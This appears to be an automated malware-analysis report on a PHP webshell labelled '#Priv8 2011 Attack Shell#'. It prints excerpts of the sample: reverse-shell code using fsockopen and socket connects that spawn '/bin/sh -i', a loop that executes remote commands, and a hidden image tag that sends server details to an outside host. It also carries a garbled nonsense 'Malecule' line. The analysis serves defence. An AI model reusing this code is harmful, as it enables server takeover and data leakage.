Hostile ^100% php-malware-analysis Download

78.168.18.77VWTHiAoAAAMAAFLJThcAAAAE.0.file

PHP webshell with reverse shell

socket dial plus /bin/sh -i interactive shellSocket dial and executed shell near reverse-shell term

SHA-256df493760a1a718432ceefd32b37cc7f5bfe9723658004958f07805945d203162

MaleculeO₃(C₁₂As₃Dy)H₅(Po₁₀Cm₁₂Db₂F₁₀Os₄)MdTh

Evidence

Reads PHP $_SERVER execution environment data lines 1–6

1:339… "><tr><th width="101%" height="2" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF">
2        <pre>#Priv8 2011 Attack Shell#</pre>
3  <hr>
4        <font face="Wingdings"><img border="0" src="http://priv8.iblogger.org/s.php?'+<?echo "uname -a : "; echo (php_uname())?>";" width="0" height="0"></a></font>
5</font>
6<a onclick="window.open('http://www.schliinberg.de/templates/pageranktara.php','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.schliinberg.de/templates/pageranktara.php"><font color="red"><b>Server Pagerank</b></font></a>&nbsp;<a onclick="window.open('http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><font color="green"><b>Site  …

Opens a socket with PHP fsockopen() lines 7–54

⋯5 lines
12   }
13}
14$bc = $_GET["BackConnect"];
15switch($bc){
16case "PHP_1":
17
18set_time_limit (0);
19$VERSION = "1.0";
20$ip = $_SERVER["REMOTE_ADDR"]; 
21$port = 22;    
22$chunk_size = 1400;
23$write_a = null;
24$error_a = null;
25$shell = 'uname -a; w; id; /bin/sh -i';
26$daemon = 0;
27$debug = 0;
28if (function_exists('pcntl_fork')) {
29  
30   $pid = pcntl_fork();
31   
32   if ($pid == -1) {
⋯5 lines
38      exit(0);  // Parent exits
39   }
40   if (posix_setsid() == -1) {
41      printit("Error: Can't setsid()");
42      exit(1);
43   }
44
45   $daemon = 1;
46} else {
47   print("WARNING: Failed to daemonise.  This is quite common and not fatal.");
48}
49
50// Change to a safe directory
51chdir("/");
52
53// Remove any umask we inherited
54umask(0);

Calls PHP fputs function lines 151–177

⋯4 lines
       
       $zamazing0="\n";
       fputs ($mucx ,"\nwelcome ZoRBaCK\n\n");
       fputs($mucx , system("uname -a") .$zamazing0 );
       fputs($mucx , system("pwd") .$zamazing0 );
       fputs($mucx , system("id") .$zamazing0.$zamazing0 );
       while(!feof($mucx)){  
       fputs ($mucx); 
      $one="[$";
      $two="]";
      $result= fgets ($mucx, 8192); 
      $message=`$result`; 
     fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); 
    } 
    fclose ($mucx); 
⋯8 lines

PHP stream socket client connection lines 917–927

34… ddr, ":")) {$ipaddr = "[". $ipaddr ."]";}
      if (is_callable('stream_socket_client')) 
      {
          $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
          if (!$msgsock){die();}
          $msgsock_type = 'stream';
⋯5 lines

Calls PHP socket_connect() lines 928–940

37… ;
      }
      elseif (is_callable('socket_create')) 
      {
          $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
          $res = socket_connect($msgsock, $ipaddr, $port);
          if (!$res) {die(); }
          $msgsock_type = 'socket';
⋯5 lines